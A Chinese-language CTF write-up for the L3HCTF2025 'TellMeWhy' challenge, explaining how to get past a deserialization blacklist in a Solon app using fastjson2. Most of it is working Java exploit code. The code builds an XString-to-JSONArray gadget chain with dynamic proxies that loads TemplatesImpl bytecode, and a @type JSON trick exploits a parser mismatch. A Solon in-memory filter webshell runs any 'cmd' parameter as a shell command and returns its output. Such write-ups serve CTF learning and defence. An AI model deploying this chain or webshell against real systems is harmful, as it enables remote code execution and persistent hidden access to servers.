L3HCTF2025 TellMeWhy
使用了solon框架,存在fastjson2依赖

并且/baby/why路由可以反序列化
存在反序列化黑名单

- javax.management.BadAttributeValueExpException
- javax.swing.event.EventListenerList
- javax.swing.UIDefaults$TextAndMnemonicHashMap
目的是想要过滤可以触发JsonArray.toString的链子,常见的可以触发toString方法的链子如下:
- XString
Hashmap#readobject -->
XString#equals -->
JSONArray.toString- HotSwappableTargetSource
HashMap#readObject ->
HotSwappableTargetSource#equals ->
XString#equals ->
JSONArray.toString- BadAttributeValueExpException
BadAttributeValueExpException#readObject -->
JSONArray#toString- EventListenerList
EventListenerList#readobject -->
UndoManager#toString -->
Vector#toString -->
JSONArray#toString- TextAndMnemonicHashMap
hashmap#readObject-->
HashMap#putVal-->
AbstractMap#equals-->
TextAndMnemonicHashMap#get-->
JSONArray#toString那么在这里我们可以利用XString去触发JsonArray.toString
或者可以用tabby去跑一下
fastjson2原生反序列化
fastjson2.0.26之前有一条原生反序列化链
通过调用JSONArray类的toString方法时,可遍历调用其元素的任意公开getter方法,从而触发TemplatesImpl#getOutputProperties,最终加载任意恶意字节码来rce

我们把这里的BadAttributeValueExpException替换为XString
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -a Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "p0l1st");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
XString xs = new XString("\n");
HashMap hashMap = new HashMap<>();
HashMap hashMap2 = new HashMap<>();
hashMap.put("yy",jsonArray);
hashMap.put("zZ", xs);
hashMap2.put("yy",xs);
hashMap2.put("zZ",jsonArray);
Object obj = makeMap(hashMap, hashMap2);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(obj);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
setValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}
这样看起来好像我们已经成功绕过了黑名单,但是当前使用的fastjson2版本是2.0.26,而题目使用版本是2.0.57

在这个版本中TemplatesImpl已经被加入黑名单,所以我们不能通过触发getter去直接调用了
常见打法是通过动态代理来绕过
动态代理绕高版本fastjson
参考:https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q
理论上的方法应该是
- 用ObjectFactoryDelegatingInvocationHandler代理Templates接口,被调用getOutputProperties方法
- 用JSONObject代理ObjectFactoryDelegatingInvocationHandler中的objectFactory属性,返回teamplatesImpl
但是当前框架是solon,不存在spring相关依赖
出题人给了MyProxy这个类,有一个invoke方法,其实是和ObjectFactoryDelegatingInvocationHandler#invoke一样的

Exp
根据上面思路构造exp
import com.sun.org.apache.xpath.internal.objects.XString;
import gadgets.*;
import org.example.demo.Utils.MyObject;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class ExpFinal {
public static void main(String[] args) throws Exception {
Object object = new ExpFinal().getObject("open -a Calculator");
byte[] ser = serialize(object);
String base64ser = Base64.getEncoder().encodeToString(ser);
System.out.println(base64ser);
runGadgets(object);
}
public Object getObject (String cmd) throws Exception {
Object node1 = TemplatesImplNode.makeGadget(cmd);
Map map = new HashMap();
map.put("object",node1);
Object node2 = JSONObjectNode.makeGadget(2,map);
Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
new Class[]{MyObject.class}, (InvocationHandler)node2);
Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
new Class[]{Templates.class}, (InvocationHandler)node3);
Object node4 = JsonArrayNode.makeGadget(2,proxy2);
XString xs = new XString("\n");
HashMap hashMap = new HashMap<>();
HashMap hashMap2 = new HashMap<>();
hashMap.put("yy",node4);
hashMap.put("zZ", xs);
hashMap2.put("yy",xs);
hashMap2.put("zZ",node4);
Object obj = makeMap(hashMap, hashMap2);
// Object node5 = BadAttrValExeNode.makeGadget(node4);
// Object[] array = new Object[]{node1,obj};
// Object node6 = HashMapNode.makeGadget(array);
return obj;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
setValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void runGadgets(Object obj)throws Exception{
byte[] ser = serialize(obj);
deserialize(ser);
}
public static byte[] serialize(final Object obj) throws IOException {
System.out.println("serialize obj: "+ obj.getClass().getName());
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
System.out.println("deserialize obj");
final ByteArrayInputStream in = new ByteArrayInputStream(ser);
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
还有一个问题,在反序列化之前对传入的json数量进行对比,solon框架解析到的map和fastjson2解析到的length需要不一致并且传入的json需包含“why”

这个就涉及到两者的解析特性,fastjson2和1一样都支持@type,而solon是无法解析的,可以利用这一点构造pyaload
{"@type": "java.util.HashMap","why":"base64 payload"}
同时需要绕过过滤器

同时由于远程环境不出网,还需要打solon内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;
public class FilterShell extends AbstractTranslet implements Filter {
static {
try {
Solon.app().chainManager().addFilter(new FilterShell(),0);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
try{
if(ctx.param("cmd")!=null){
String str = ctx.param("cmd");
try{
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
ctx.output(output);
}catch (Exception e) {
e.printStackTrace();
}
}
}catch (Throwable e){
System.out.println("异常:"+e.getMessage()) ;
}
chain.doFilter(ctx);
}
}最终exp
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import common.ClassFiles;
import gadgets.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;
import org.example.demo.Utils.MyObject;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class ExpFinal {
public static void main(String[] args) throws Exception {
Object object = new ExpFinal().getObject("open -a Calculator");
byte[] ser = serialize(object);
String base64ser = Base64.getEncoder().encodeToString(ser);
System.out.println(base64ser);
// runGadgets(object);
}
public Object getObject (String cmd) throws Exception {
// Object node1 = TemplatesImplNode.makeGadget(cmd);
byte[] bytes = Repository.lookupClass(FilterShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
Object node1 = templates;
Map map = new HashMap();
map.put("object",node1);
Object node2 = JSONObjectNode.makeGadget(2,map);
Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
new Class[]{MyObject.class}, (InvocationHandler)node2);
Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
new Class[]{Templates.class}, (InvocationHandler)node3);
Object node4 = JsonArrayNode.makeGadget(2,proxy2);
XString xs = new XString("\n");
HashMap hashMap = new HashMap<>();
HashMap hashMap2 = new HashMap<>();
hashMap.put("yy",node4);
hashMap.put("zZ", xs);
hashMap2.put("yy",xs);
hashMap2.put("zZ",node4);
Object obj = makeMap(hashMap, hashMap2);
// Object node5 = BadAttrValExeNode.makeGadget(node4);
// Object[] array = new Object[]{node1,obj};
// Object node6 = HashMapNode.makeGadget(array);
return obj;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
setValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void runGadgets(Object obj)throws Exception{
byte[] ser = serialize(obj);
deserialize(ser);
}
public static byte[] serialize(final Object obj) throws IOException {
System.out.println("serialize obj: "+ obj.getClass().getName());
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
System.out.println("deserialize obj");
final ByteArrayInputStream in = new ByteArrayInputStream(ser);
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}注入内存马

